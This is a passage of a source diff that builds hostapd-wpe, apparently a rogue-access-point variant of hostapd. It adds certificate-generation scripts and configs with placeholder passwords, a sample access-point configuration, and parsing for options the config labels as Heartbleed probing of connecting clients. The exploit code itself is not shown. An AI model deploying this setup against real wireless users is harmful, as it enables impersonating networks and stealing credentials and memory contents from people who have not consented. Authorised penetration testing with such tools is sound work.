+ Edit the "input_password" and "output_password" fields to be the
+ password for the client certificate. You will have to give these
+ passwords to the end user who will be using the certificates.
+
+ Edit the [client] section to have the correct values for your
+ country, state, etc. Be sure that the commonName field here is
+ the User-Name that will be used for logins!
+
+$ make client.pem
+
+ The users certificate will be in "emailAddress.pem",
+ i.e. "user@example.com.pem".
+
+ To create another client certificate, just repeat the steps for
+ making a client certificate, being sure to enter a different login
+ name for "commonName", and a different password.
+
+
+ PERFORMANCE
+
+
+ EAP performance for EAP-TLS, TTLS, and PEAP is dominated by SSL
+ calculations. That is, a normal system can handle PAP
+ authentication at a rate of 10k packets/s. However, SSL involves
+ RSA calculations, which are very expensive. To benchmark your system,
+ do:
+
+$ openssl speed rsa
+
+ or
+
+$ openssl speed rsa2048
+
+ to test 2048 bit keys.
+
+ A 1GHz system will likely do 30 calculations/s. A 2GHz system may
+ do 50 calculations/s, or more. That number is also the number of
+ authentications/s that can be done for EAP-TLS (or TTLS, or PEAP).
+
+
+ COMPATIBILITY
+
+The certificates created using this method are known to be compatible
+with ALL operating systems. Some common issues are:
+
+ - Windows requires certain OIDs in the certificates. If it doesn't
+ see them, it will stop doing EAP. The most visible effect is
+ that the client starts EAP, gets a few Access-Challenge packets,
+ and then a little while later re-starts EAP. If this happens, see
+ the FAQ, and the comments in raddb/eap.conf for how to fix it.
+
+ - Windows requires the root certificates to be on the client PC.
+ If it doesn't have them, you will see the same issue as above.
+
+ - Windows XP post SP2 has a bug where it has problems with
+ certificate chains. i.e. if the server certificate is an
+ intermediate one, and not a root one, then authentication will
+ silently fail, as above.
+
+ - Some versions of Windows CE cannot handle 4K RSA certificates.
+ They will (again) silently fail, as above.
+
+ - In none of these cases will Windows give the end user any
+ reasonable error message describing what went wrong. This leads
+ people to blame the RADIUS server. That blame is misplaced.
+
+ - Certificate chains of more than 64K bytes are known to not work.
+ This is a problem in FreeRADIUS. However, most clients cannot
+ handle 64K certificate chains. Most Access Points will shut down
+ the EAP session after about 50 round trips, while 64K certificate
+ chains will take about 60 round trips. So don't use large
+ certificate chains. They will only work after everyone upgrade
+ everything in the network.
+
+ - All other operating systems are known to work with EAP and
+ FreeRADIUS. This includes Linux, *BSD, Mac OS X, Solaris,
+ Symbian, along with all known embedded systems, phones, WiFi
+ devices, etc.
+
+ - Someone needs to ask Microsoft to please stop making life hard for
+ their customers.
+
+
+ SECURITY CONSIDERATIONS
+
+The default certificate configuration files uses MD5 for message
+digests, to maintain compatibility with network equipment that
+supports only this algorithm.
+
+MD5 has known weaknesses and is discouraged in favour of SHA1 (see
+http://www.kb.cert.org/vuls/id/836068 for details). If your network
+equipment supports the SHA1 signature algorithm, we recommend that you
+change the "ca.cnf", "server.cnf", and "client.cnf" files to specify
+the use of SHA1 for the certificates. To do this, change the
+'default_md' entry in those files from 'md5' to 'sha1'.
diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/README.wpe hostapd-2.10-wpe/hostapd/certs/README.wpe
--- hostapd-2.10/hostapd/certs/README.wpe 1970-01-01 00:00:00.000000000 +0000
+++ hostapd-2.10-wpe/hostapd/certs/README.wpe 2022-02-21 23:29:30.100000000 +0000
@@ -0,0 +1,13 @@
+# Certificate creation for Hostapd-WPE #
+########################################
+
+Usage:
+
+make clean
+./bootstrap
+make install
+
+Notes:
+- Windows 10 (and possibly any Windows starting from Vista) will fail EAP
+ if certificates signed with MD5 are used.
+- Generated certificates used a SHA256 signature.
diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/bootstrap hostapd-2.10-wpe/hostapd/certs/bootstrap
--- hostapd-2.10/hostapd/certs/bootstrap 1970-01-01 00:00:00.000000000 +0000
+++ hostapd-2.10-wpe/hostapd/certs/bootstrap 2022-02-21 23:29:30.100000000 +0000
@@ -0,0 +1,82 @@
+#!/bin/sh
+#
+# This is a wrapper script to create default certificates when the
+# server first starts in debugging mode. Once the certificates have been
+# created, this file should be deleted.
+#
+# Ideally, this program should be run as part of the installation of any
+# binary package. The installation should also ensure that the permissions
+# and owners are correct for the files generated by this script.
+#
+# $Id: c9d939beac8d5bdc21ea1ff9233442f9ab933297 $
+#
+umask 027
+cd `dirname $0`
+
+make -h > /dev/null 2>&1
+
+#
+# If we have a working "make", then use it. Otherwise, run the commands
+# manually.
+#
+if [ "$?" = "0" ]; then
+ make all
+ exit $?
+fi
+
+#
+# The following commands were created by running "make -n", and edited
+# to remove the trailing backslash, and to add "exit 1" after the commands.
+#
+# Don't edit the following text. Instead, edit the Makefile, and
+# re-generate these commands.
+#
+if [ ! -f dh ]; then
+ openssl dhparam -out dh 1024 || exit 1
+ if [ -e /dev/urandom ] ; then
+ ln -sf /dev/urandom random
+ else
+ date > ./random;
+ fi
+fi
+
+if [ ! -f server.key ]; then
+ openssl req -new -out server.csr -keyout server.key -config ./server.cnf || exit 1
+fi
+
+if [ ! -f ca.key ]; then
+ openssl req -new -x509 -keyout ca.key -out ca.pem -days `grep default_days ca.cnf | sed 's/.*=//;s/^ *//'` -config ./ca.cnf || exit 1
+fi
+
+if [ ! -f index.txt ]; then
+ touch index.txt
+fi
+
+if [ ! -f serial ]; then
+ echo '01' > serial
+fi
+
+if [ ! -f server.crt ]; then
+ openssl ca -batch -keyfile ca.key -cert ca.pem -in server.csr -key `grep output_password ca.cnf | sed 's/.*=//;s/^ *//'` -out server.crt -extensions xpserver_ext -extfile xpextensions -config ./server.cnf || exit 1
+fi
+
+if [ ! -f server.p12 ]; then
+ openssl pkcs12 -export -in server.crt -inkey server.key -out server.p12 -passin pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` -passout pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` || exit 1
+fi
+
+if [ ! -f server.pem ]; then
+ openssl pkcs12 -in server.p12 -out server.pem -passin pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` -passout pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` || exit 1
+ openssl verify -CAfile ca.pem server.pem || exit 1
+fi
+
+if [ ! -f ca.der ]; then
+ openssl x509 -inform PEM -outform DER -in ca.pem -out ca.der || exit 1
+fi
+
+if [ ! -f client.key ]; then
+ openssl req -new -out client.csr -keyout client.key -config ./client.cnf
+fi
+
+if [ ! -f client.crt ]; then
+ openssl ca -batch -keyfile ca.key -cert ca.pem -in client.csr -key `grep output_password ca.cnf | sed 's/.*=//;s/^ *//'` -out client.crt -extensions xpclient_ext -extfile xpextensions -config ./client.cnf
+fi
diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/ca.cnf hostapd-2.10-wpe/hostapd/certs/ca.cnf
--- hostapd-2.10/hostapd/certs/ca.cnf 1970-01-01 00:00:00.000000000 +0000
+++ hostapd-2.10-wpe/hostapd/certs/ca.cnf 2022-02-21 23:29:30.100000000 +0000
@@ -0,0 +1,62 @@
+[ ca ]
+default_ca = CA_default
+
+[ CA_default ]
+dir = ./
+certs = $dir
+crl_dir = $dir/crl
+database = $dir/index.txt
+new_certs_dir = $dir
+certificate = $dir/ca.pem
+serial = $dir/serial
+crl = $dir/crl.pem
+private_key = $dir/ca.key
+RANDFILE = $dir/.rand
+name_opt = ca_default
+cert_opt = ca_default
+default_days = 365
+default_crl_days = 364
+default_md = sha256
+preserve = no
+policy = policy_match
+crlDistributionPoints = URI:http://www.example.org/example_ca.crl
+
+[ policy_match ]
+countryName = match
+stateOrProvinceName = match
+organizationName = match
+organizationalUnitName = optional
+commonName = supplied
+emailAddress = optional
+
+[ policy_anything ]
+countryName = optional
+stateOrProvinceName = optional
+localityName = optional
+organizationName = optional
+organizationalUnitName = optional
+commonName = supplied
+emailAddress = optional
+
+[ req ]
+prompt = no
+distinguished_name = certificate_authority
+default_bits = 2048
+input_password = whatever
+output_password = whatever
+x509_extensions = v3_ca
+
+[certificate_authority]
+countryName = FR
+stateOrProvinceName = Radius
+localityName = Somewhere
+organizationName = Example Inc.
+emailAddress = admin@example.org
+commonName = "Example Certificate Authority"
+
+[v3_ca]
+subjectKeyIdentifier = hash
+authorityKeyIdentifier = keyid:always,issuer:always
+basicConstraints = critical,CA:true
+crlDistributionPoints = URI:http://www.example.org/example_ca.crl
+
diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/client.cnf hostapd-2.10-wpe/hostapd/certs/client.cnf
--- hostapd-2.10/hostapd/certs/client.cnf 1970-01-01 00:00:00.000000000 +0000
+++ hostapd-2.10-wpe/hostapd/certs/client.cnf 2022-02-21 23:29:30.100000000 +0000
@@ -0,0 +1,53 @@
+[ ca ]
+default_ca = CA_default
+
+[ CA_default ]
+dir = ./
+certs = $dir
+crl_dir = $dir/crl
+database = $dir/index.txt
+new_certs_dir = $dir
+certificate = $dir/ca.pem
+serial = $dir/serial
+crl = $dir/crl.pem
+private_key = $dir/ca.key
+RANDFILE = $dir/.rand
+name_opt = ca_default
+cert_opt = ca_default
+default_days = 365
+default_crl_days = 364
+default_md = sha256
+preserve = no
+policy = policy_match
+
+[ policy_match ]
+countryName = match
+stateOrProvinceName = match
+organizationName = match
+organizationalUnitName = optional
+commonName = supplied
+emailAddress = optional
+
+[ policy_anything ]
+countryName = optional
+stateOrProvinceName = optional
+localityName = optional
+organizationName = optional
+organizationalUnitName = optional
+commonName = supplied
+emailAddress = optional
+
+[ req ]
+prompt = no
+distinguished_name = client
+default_bits = 2048
+input_password = whatever
+output_password = whatever
+
+[client]
+countryName = FR
+stateOrProvinceName = Radius
+localityName = Somewhere
+organizationName = Example Inc.
+emailAddress = user@example.org
+commonName = user@example.org
diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/demoCA/cacert.pem hostapd-2.10-wpe/hostapd/certs/demoCA/cacert.pem
--- hostapd-2.10/hostapd/certs/demoCA/cacert.pem 1970-01-01 00:00:00.000000000 +0000
+++ hostapd-2.10-wpe/hostapd/certs/demoCA/cacert.pem 2022-02-21 23:29:30.100000000 +0000
@@ -0,0 +1,22 @@
+-----BEGIN CERTIFICATE-----
+MIIDtjCCAx+gAwIBAgIBADANBgkqhkiG9w0BAQQFADCBnzELMAkGA1UEBhMCQ0Ex
+ETAPBgNVBAgTCFByb3ZpbmNlMRIwEAYDVQQHEwlTb21lIENpdHkxFTATBgNVBAoT
+DE9yZ2FuaXphdGlvbjESMBAGA1UECxMJbG9jYWxob3N0MRswGQYDVQQDExJDbGll
+bnQgY2VydGlmaWNhdGUxITAfBgkqhkiG9w0BCQEWEmNsaWVudEBleGFtcGxlLmNv
+bTAeFw0wNDAxMjUxMzI2MDdaFw0wNjAxMjQxMzI2MDdaMIGfMQswCQYDVQQGEwJD
+QTERMA8GA1UECBMIUHJvdmluY2UxEjAQBgNVBAcTCVNvbWUgQ2l0eTEVMBMGA1UE
+ChMMT3JnYW5pemF0aW9uMRIwEAYDVQQLEwlsb2NhbGhvc3QxGzAZBgNVBAMTEkNs
+aWVudCBjZXJ0aWZpY2F0ZTEhMB8GCSqGSIb3DQEJARYSY2xpZW50QGV4YW1wbGUu
+Y29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDUxbGXJPFkrPH/sYnbHI+/
+9PFDlup8sekPeNaUUXJTd4ld/lLMuZtB6A3etYsSepQ/T1jLxWKHgZL73G/s6fhx
+58Ew01z1GIgX6bEzJJ7dKhx10xBDrodVPOx6d+8mqn10KB25t34XxkRsXdmxiLQy
+UMoCKZY3IqEjpyawC0An/QIDAQABo4H/MIH8MB0GA1UdDgQWBBRo020+Hue8nVoF
+cCHDY9oTZdGt4zCBzAYDVR0jBIHEMIHBgBRo020+Hue8nVoFcCHDY9oTZdGt46GB
+paSBojCBnzELMAkGA1UEBhMCQ0ExETAPBgNVBAgTCFByb3ZpbmNlMRIwEAYDVQQH
+EwlTb21lIENpdHkxFTATBgNVBAoTDE9yZ2FuaXphdGlvbjESMBAGA1UECxMJbG9j
+YWxob3N0MRswGQYDVQQDExJDbGllbnQgY2VydGlmaWNhdGUxITAfBgkqhkiG9w0B
+CQEWEmNsaWVudEBleGFtcGxlLmNvbYIBADAMBgNVHRMEBTADAQH/MA0GCSqGSIb3
+DQEBBAUAA4GBADPAC2ax5Xnvc6BnmCUtq41eVRH8AP0nbYDRL4NHd8Z0P9wnQ/yh
+UHcE5LwJeeT2CsOtnug+bzRzaSKdH3cim6LpgjWdpWMCSgAWPbptbJhsC60or4UT
+L/jw12UBvxt8Lf9ljOHmLAGZe25k4+jUNzNUzpkShHZRU5BjuFu8VIXF
+-----END CERTIFICATE-----
diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/server.cnf hostapd-2.10-wpe/hostapd/certs/server.cnf
--- hostapd-2.10/hostapd/certs/server.cnf 1970-01-01 00:00:00.000000000 +0000
+++ hostapd-2.10-wpe/hostapd/certs/server.cnf 2022-02-21 23:29:30.100000000 +0000
@@ -0,0 +1,54 @@
+[ ca ]
+default_ca = CA_default
+
+[ CA_default ]
+dir = ./
+certs = $dir
+crl_dir = $dir/crl
+database = $dir/index.txt
+new_certs_dir = $dir
+certificate = $dir/server.pem
+serial = $dir/serial
+crl = $dir/crl.pem
+private_key = $dir/server.key
+RANDFILE = $dir/.rand
+name_opt = ca_default
+cert_opt = ca_default
+default_days = 60
+default_crl_days = 30
+default_md = sha256
+preserve = no
+policy = policy_match
+
+[ policy_match ]
+countryName = match
+stateOrProvinceName = match
+organizationName = match
+organizationalUnitName = optional
+commonName = supplied
+emailAddress = optional
+
+[ policy_anything ]
+countryName = optional
+stateOrProvinceName = optional
+localityName = optional
+organizationName = optional
+organizationalUnitName = optional
+commonName = supplied
+emailAddress = optional
+
+[ req ]
+prompt = no
+distinguished_name = server
+default_bits = 2048
+input_password = whatever
+output_password = whatever
+
+[server]
+countryName = FR
+stateOrProvinceName = Radius
+localityName = Somewhere
+organizationName = Example Inc.
+emailAddress = admin@example.org
+commonName = "Example Server Certificate"
+
diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/xpextensions hostapd-2.10-wpe/hostapd/certs/xpextensions
--- hostapd-2.10/hostapd/certs/xpextensions 1970-01-01 00:00:00.000000000 +0000
+++ hostapd-2.10-wpe/hostapd/certs/xpextensions 2022-02-21 23:29:30.100000000 +0000
@@ -0,0 +1,24 @@
+#
+# File containing the OIDs required for Windows.
+#
+# http://support.microsoft.com/kb/814394/en-us
+#
+[ xpclient_ext]
+extendedKeyUsage = 1.3.6.1.5.5.7.3.2
+crlDistributionPoints = URI:http://www.example.com/example_ca.crl
+
+[ xpserver_ext]
+extendedKeyUsage = 1.3.6.1.5.5.7.3.1
+crlDistributionPoints = URI:http://www.example.com/example_ca.crl
+
+#
+# Add this to the PKCS#7 keybag attributes holding the client's private key
+# for machine authentication.
+#
+# the presence of this OID tells Windows XP that the cert is intended
+# for use by the computer itself, and not by an end-user.
+#
+# The other solution is to use Microsoft's web certificate server
+# to generate these certs.
+#
+# 1.3.6.1.4.1.311.17.2
diff '--color=auto' -rupN hostapd-2.10/hostapd/config_file.c hostapd-2.10-wpe/hostapd/config_file.c
--- hostapd-2.10/hostapd/config_file.c 2022-01-16 20:51:29.000000000 +0000
+++ hostapd-2.10-wpe/hostapd/config_file.c 2022-02-21 23:29:30.100000000 +0000
@@ -24,7 +24,7 @@
#include "ap/wpa_auth.h"
#include "ap/ap_config.h"
#include "config_file.h"
-
+#include "wpe/wpe.h"
#ifndef CONFIG_NO_VLAN
static int hostapd_config_read_vlan_file(struct hostapd_bss_config *bss,
@@ -2493,6 +2493,22 @@ static int hostapd_config_fill(struct ho
}
bss->eapol_version = eapol_version;
wpa_printf(MSG_DEBUG, "eapol_version=%d", bss->eapol_version);
+#if OPENSSL_VERSION_NUMBER < 0x10100000L
+ } else if (os_strcmp(buf, "wpe_logfile") == 0) {
+ wpe_conf.wpe_logfile = os_strdup(pos);
+ } else if (os_strcmp(buf, "wpe_hb_send_before_handshake") == 0) {
+ wpe_conf.wpe_hb_send_before_handshake = atoi(pos);
+ } else if (os_strcmp(buf, "wpe_hb_send_before_appdata") == 0) {
+ wpe_conf.wpe_hb_send_before_appdata = atoi(pos);
+ } else if (os_strcmp(buf, "wpe_hb_send_after_appdata") == 0) {
+ wpe_conf.wpe_hb_send_after_appdata = atoi(pos);
+ } else if (os_strcmp(buf, "wpe_hb_payload_size") == 0) {
+ wpe_conf.wpe_hb_payload_size = atoi(pos);
+ } else if (os_strcmp(buf, "wpe_hb_num_repeats") == 0) {
+ wpe_conf.wpe_hb_num_repeats = atoi(pos);
+ } else if (os_strcmp(buf, "wpe_hb_num_tries") == 0) {
+ wpe_conf.wpe_hb_num_tries = atoi(pos);
+#endif /* #if OPENSSL_VERSION_NUMBER < 0x10100000L */
#ifdef EAP_SERVER
} else if (os_strcmp(buf, "eap_authenticator") == 0) {
bss->eap_server = atoi(pos);
diff '--color=auto' -rupN hostapd-2.10/hostapd/hostapd-wpe.conf hostapd-2.10-wpe/hostapd/hostapd-wpe.conf
--- hostapd-2.10/hostapd/hostapd-wpe.conf 1970-01-01 00:00:00.000000000 +0000
+++ hostapd-2.10-wpe/hostapd/hostapd-wpe.conf 2022-02-21 23:29:30.100000000 +0000
@@ -0,0 +1,2042 @@
+# Configuration file for hostapd-wpe
+
+# Interface - Probably wlan0 for 802.11, eth0 for wired
+interface=wlan0
+
+# May have to change these depending on build location
+eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
+ca_cert=/etc/hostapd-wpe/ca.pem
+server_cert=/etc/hostapd-wpe/server.pem
+private_key=/etc/hostapd-wpe/server.key
+private_key_passwd=whatever
+dh_file=/etc/hostapd-wpe/dh
+
+# 802.11 Options
+ssid=hostapd-wpe
+channel=1
+
+# WPE Options - Dont need to change these to make it all work
+#
+# wpe_logfile=somefile # (Default: ./hostapd-wpe.log)
+# wpe_hb_send_before_handshake=0 # Heartbleed True/False (Default: 1)
+# wpe_hb_send_before_appdata=0 # Heartbleed True/False (Default: 0)
+# wpe_hb_send_after_appdata=0 # Heartbleed True/False (Default: 0)
+# wpe_hb_payload_size=0 # Heartbleed 0-65535 (Default: 50000)
+# wpe_hb_num_repeats=0 # Heartbleed 0-65535 (Default: 1)
+# wpe_hb_num_tries=0 # Heartbleed 0-65535 (Default: 1)
+
+
+# Dont mess with unless you know what you're doing
+eap_server=1
+eap_fast_a_id=101112131415161718191a1b1c1d1e1f
+eap_fast_a_id_info=hostapd-wpe
+eap_fast_prov=3
+ieee8021x=1
+pac_key_lifetime=604800
+pac_key_refresh_time=86400
+pac_opaque_encr_key=000102030405060708090a0b0c0d0e0f
+wpa=2
+wpa_key_mgmt=WPA-EAP
+wpa_pairwise=CCMP
+rsn_pairwise=CCMP
+
+##############################################################################
+# Everything below this line is pretty much the standard hostapd.conf
+###############################################################################
+
+##### hostapd configuration file ##############################################
+# Empty lines and lines starting with # are ignored
+
+# AP netdevice name (without 'ap' postfix, i.e., wlan0 uses wlan0ap for
+# management frames with the Host AP driver); wlan0 with many nl80211 drivers
+# Note: This attribute can be overridden by the values supplied with the '-i'
+# command line parameter.
+#interface=wlan0
+
+# In case of atheros and nl80211 driver interfaces, an additional
+# configuration parameter, bridge, may be used to notify hostapd if the
+# interface is included in a bridge. This parameter is not used with Host AP
+# driver. If the bridge parameter is not set, the drivers will automatically
+# figure out the bridge interface (assuming sysfs is enabled and mounted to
+# /sys) and this parameter may not be needed.
+#
+# For nl80211, this parameter can be used to request the AP interface to be
+# added to the bridge automatically (brctl may refuse to do this before hostapd
+# has been started to change the interface mode). If needed, the bridge
+# interface is also created.
+#bridge=br0
+
+# Driver interface type (hostap/wired/none/nl80211/bsd);
+# default: hostap). nl80211 is used with all Linux mac80211 drivers.
+# Use driver=none if building hostapd as a standalone RADIUS server that does
+# not control any wireless/wired driver.
+# driver=hostap
+
+# Driver interface parameters (mainly for development testing use)
+# driver_params=<params>
+
+# hostapd event logger configuration
+#
+# Two output method: syslog and stdout (only usable if not forking to
+# background).
+#
+# Module bitfield (ORed bitfield of modules that will be logged; -1 = all
+# modules):
+# bit 0 (1) = IEEE 802.11
+# bit 1 (2) = IEEE 802.1X
+# bit 2 (4) = RADIUS
+# bit 3 (8) = WPA
+# bit 4 (16) = driver interface
+# bit 5 (32) = IAPP
+# bit 6 (64) = MLME
+#
+# Levels (minimum value for logged events):
+# 0 = verbose debugging
+# 1 = debugging
+# 2 = informational messages
+# 3 = notification
+# 4 = warning
+#
+logger_syslog=-1
+logger_syslog_level=2
+logger_stdout=-1
+logger_stdout_level=2
+
+# Interface for separate control program. If this is specified, hostapd
+# will create this directory and a UNIX domain socket for listening to requests
+# from external programs (CLI/GUI, etc.) for status information and
+# configuration. The socket file will be named based on the interface name, so
+# multiple hostapd processes/interfaces can be run at the same time if more
+# than one interface is used.
+# /var/run/hostapd is the recommended directory for sockets and by default,
+# hostapd_cli will use it when trying to connect with hostapd.
+ctrl_interface=/var/run/hostapd
+
+# Access control for the control interface can be configured by setting the
+# directory to allow only members of a group to use sockets. This way, it is
+# possible to run hostapd as root (since it needs to change network
+# configuration and open raw sockets) and still allow GUI/CLI components to be
+# run as non-root users. However, since the control interface can be used to
+# change the network configuration, this access needs to be protected in many
+# cases. By default, hostapd is configured to use gid 0 (root). If you
+# want to allow non-root users to use the contron interface, add a new group
+# and change this value to match with that group. Add users that should have
+# control interface access to this group.
+#
+# This variable can be a group name or gid.
+#ctrl_interface_group=wheel
+ctrl_interface_group=0
+
+
+##### IEEE 802.11 related configuration #######################################
+
+# SSID to be used in IEEE 802.11 management frames
+#ssid=test
+# Alternative formats for configuring SSID
+# (double quoted string, hexdump, printf-escaped string)
+#ssid2="test"
+#ssid2=74657374
+#ssid2=P"hello\nthere"
+
+# UTF-8 SSID: Whether the SSID is to be interpreted using UTF-8 encoding
+#utf8_ssid=1
+
+# Country code (ISO/IEC 3166-1). Used to set regulatory domain.
+# Set as needed to indicate country in which device is operating.
+# This can limit available channels and transmit power.
+#country_code=US
+
+# Enable IEEE 802.11d. This advertises the country_code and the set of allowed
+# channels and transmit power levels based on the regulatory limits. The
+# country_code setting must be configured with the correct country for
+# IEEE 802.11d functions.
+# (default: 0 = disabled)
+#ieee80211d=1
+
+# Enable IEEE 802.11h. This enables radar detection and DFS support if
+# available. DFS support is required on outdoor 5 GHz channels in most countries
+# of the world. This can be used only with ieee80211d=1.
+# (default: 0 = disabled)
+#ieee80211h=1
+
+# Add Power Constraint element to Beacon and Probe Response frames
+# This config option adds Power Constraint element when applicable and Country
+# element is added. Power Constraint element is required by Transmit Power
+# Control. This can be used only with ieee80211d=1.
+# Valid values are 0..255.
+#local_pwr_constraint=3
+
+# Set Spectrum Management subfield in the Capability Information field.
+# This config option forces the Spectrum Management bit to be set. When this
+# option is not set, the value of the Spectrum Management bit depends on whether
+# DFS or TPC is required by regulatory authorities. This can be used only with
+# ieee80211d=1 and local_pwr_constraint configured.
+#spectrum_mgmt_required=1
+
+# Operation mode (a = IEEE 802.11a (5 GHz), b = IEEE 802.11b (2.4 GHz),
+# g = IEEE 802.11g (2.4 GHz), ad = IEEE 802.11ad (60 GHz); a/g options are used
+# with IEEE 802.11n (HT), too, to specify band). For IEEE 802.11ac (VHT), this
+# needs to be set to hw_mode=a. When using ACS (see channel parameter), a
+# special value "any" can be used to indicate that any support band can be used.
+# This special case is currently supported only with drivers with which
+# offloaded ACS is used.
+# Default: IEEE 802.11b
+hw_mode=g
+
+# Channel number (IEEE 802.11)
+# (default: 0, i.e., not set)
+# Please note that some drivers do not use this value from hostapd and the
+# channel will need to be configured separately with iwconfig.
+#
+# If CONFIG_ACS build option is enabled, the channel can be selected
+# automatically at run time by setting channel=acs_survey or channel=0, both of
+# which will enable the ACS survey based algorithm.
+#channel=1
+
+# ACS tuning - Automatic Channel Selection
+# See: http://wireless.kernel.org/en/users/Documentation/acs
+#
+# You can customize the ACS survey algorithm with following variables:
+#
+# acs_num_scans requirement is 1..100 - number of scans to be performed that
+# are used to trigger survey data gathering of an underlying device driver.
+# Scans are passive and typically take a little over 100ms (depending on the
+# driver) on each available channel for given hw_mode. Increasing this value
+# means sacrificing startup time and gathering more data wrt channel
+# interference that may help choosing a better channel. This can also help fine
+# tune the ACS scan time in case a driver has different scan dwell times.
+#
+# acs_chan_bias is a space-separated list of <channel>:<bias> pairs. It can be
+# used to increase (or decrease) the likelihood of a specific channel to be
+# selected by the ACS algorithm. The total interference factor for each channel
+# gets multiplied by the specified bias value before finding the channel with
+# the lowest value. In other words, values between 0.0 and 1.0 can be used to
+# make a channel more likely to be picked while values larger than 1.0 make the
+# specified channel less likely to be picked. This can be used, e.g., to prefer
+# the commonly used 2.4 GHz band channels 1, 6, and 11 (which is the default
+# behavior on 2.4 GHz band if no acs_chan_bias parameter is specified).
+#
+# Defaults:
+#acs_num_scans=5
+#acs_chan_bias=1:0.8 6:0.8 11:0.8
+
+# Channel list restriction. This option allows hostapd to select one of the
+# provided channels when a channel should be automatically selected.
+# Channel list can be provided as range using hyphen ('-') or individual
+# channels can be specified by space (' ') separated values
+# Default: all channels allowed in selected hw_mode
+#chanlist=100 104 108 112 116
+#chanlist=1 6 11-13
+
+# Beacon interval in kus (1.024 ms) (default: 100; range 15..65535)
+beacon_int=100
+
+# DTIM (delivery traffic information message) period (range 1..255):
+# number of beacons between DTIMs (1 = every beacon includes DTIM element)
+# (default: 2)
+dtim_period=2
+
+# Maximum number of stations allowed in station table. New stations will be
+# rejected after the station table is full. IEEE 802.11 has a limit of 2007
+# different association IDs, so this number should not be larger than that.
+# (default: 2007)
+max_num_sta=255
+
+# RTS/CTS threshold; -1 = disabled (default); range -1..65535
+# If this field is not included in hostapd.conf, hostapd will not control
+# RTS threshold and 'iwconfig wlan# rts <val>' can be used to set it.
+rts_threshold=-1
+
+# Fragmentation threshold; -1 = disabled (default); range -1, 256..2346
+# If this field is not included in hostapd.conf, hostapd will not control
+# fragmentation threshold and 'iwconfig wlan# frag <val>' can be used to set
+# it.
+fragm_threshold=-1
+
+# Rate configuration
+# Default is to enable all rates supported by the hardware. This configuration
+# item allows this list be filtered so that only the listed rates will be left
+# in the list. If the list is empty, all rates are used. This list can have
+# entries that are not in the list of rates the hardware supports (such entries
+# are ignored). The entries in this list are in 100 kbps, i.e., 11 Mbps = 110.
+# If this item is present, at least one rate have to be matching with the rates
+# hardware supports.
+# default: use the most common supported rate setting for the selected
+# hw_mode (i.e., this line can be removed from configuration file in most
+# cases)
+#supported_rates=10 20 55 110 60 90 120 180 240 360 480 540
+
+# Basic rate set configuration
+# List of rates (in 100 kbps) that are included in the basic rate set.
+# If this item is not included, usually reasonable default set is used.
+#basic_rates=10 20
+#basic_rates=10 20 55 110
+#basic_rates=60 120 240
+
+# Short Preamble
+# This parameter can be used to enable optional use of short preamble for
+# frames sent at 2 Mbps, 5.5 Mbps, and 11 Mbps to improve network performance.
+# This applies only to IEEE 802.11b-compatible networks and this should only be
+# enabled if the local hardware supports use of short preamble. If any of the
+# associated STAs do not support short preamble, use of short preamble will be
+# disabled (and enabled when such STAs disassociate) dynamically.
+# 0 = do not allow use of short preamble (default)
+# 1 = allow use of short preamble
+#preamble=1
+
+# Station MAC address -based authentication
+# Please note that this kind of access control requires a driver that uses
+# hostapd to take care of management frame processing and as such, this can be
+# used with driver=hostap or driver=nl80211, but not with driver=atheros.
+# 0 = accept unless in deny list
+# 1 = deny unless in accept list
+# 2 = use external RADIUS server (accept/deny lists are searched first)
+macaddr_acl=0
+
+# Accept/deny lists are read from separate files (containing list of
+# MAC addresses, one per line). Use absolute path name to make sure that the
+# files can be read on SIGHUP configuration reloads.
+#accept_mac_file=/etc/hostapd.accept
+#deny_mac_file=/etc/hostapd.deny
+
+# IEEE 802.11 specifies two authentication algorithms. hostapd can be
+# configured to allow both of these or only one. Open system authentication
+# should be used with IEEE 802.1X.
+# Bit fields of allowed authentication algorithms:
+# bit 0 = Open System Authentication
+# bit 1 = Shared Key Authentication (requires WEP)
+auth_algs=3
+
+# Send empty SSID in beacons and ignore probe request frames that do not
+# specify full SSID, i.e., require stations to know SSID.
+# default: disabled (0)
+# 1 = send empty (length=0) SSID in beacon and ignore probe request for
+# broadcast SSID
+# 2 = clear SSID (ASCII 0), but keep the original length (this may be required
+# with some clients that do not support empty SSID) and ignore probe
+# requests for broadcast SSID
+ignore_broadcast_ssid=0
+
+# Do not reply to broadcast Probe Request frames from unassociated STA if there
+# is no room for additional stations (max_num_sta). This can be used to
+# discourage a STA from trying to associate with this AP if the association
+# would be rejected due to maximum STA limit.
+# Default: 0 (disabled)
+#no_probe_resp_if_max_sta=0
+
+# Additional vendor specific elements for Beacon and Probe Response frames
+# This parameter can be used to add additional vendor specific element(s) into
+# the end of the Beacon and Probe Response frames. The format for these
+# element(s) is a hexdump of the raw information elements (id+len+payload for
+# one or more elements)
+#vendor_elements=dd0411223301
+
+# Additional vendor specific elements for (Re)Association Response frames
+# This parameter can be used to add additional vendor specific element(s) into
+# the end of the (Re)Association Response frames. The format for these
+# element(s) is a hexdump of the raw information elements (id+len+payload for
+# one or more elements)
+#assocresp_elements=dd0411223301
+
+# TX queue parameters (EDCF / bursting)
+# tx_queue_<queue name>_<param>
+# queues: data0, data1, data2, data3, after_beacon, beacon
+# (data0 is the highest priority queue)
+# parameters:
+# aifs: AIFS (default 2)
+# cwmin: cwMin (1, 3, 7, 15, 31, 63, 127, 255, 511, 1023, 2047, 4095, 8191,
+# 16383, 32767)
+# cwmax: cwMax (same values as cwMin, cwMax >= cwMin)
+# burst: maximum length (in milliseconds with precision of up to 0.1 ms) for
+# bursting
+#
+# Default WMM parameters (IEEE 802.11 draft; 11-03-0504-03-000e):
+# These parameters are used by the access point when transmitting frames
+# to the clients.
+#
+# Low priority / AC_BK = background
+#tx_queue_data3_aifs=7
+#tx_queue_data3_cwmin=15
+#tx_queue_data3_cwmax=1023
+#tx_queue_data3_burst=0
